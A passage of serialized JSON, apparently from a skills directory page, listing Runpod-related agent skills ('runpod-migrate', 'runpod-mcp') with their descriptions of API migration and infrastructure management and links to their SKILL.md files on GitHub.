paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":127,"name":128,"nameZh":6,"description":129,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":130,"categories":131,"keywords":132,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]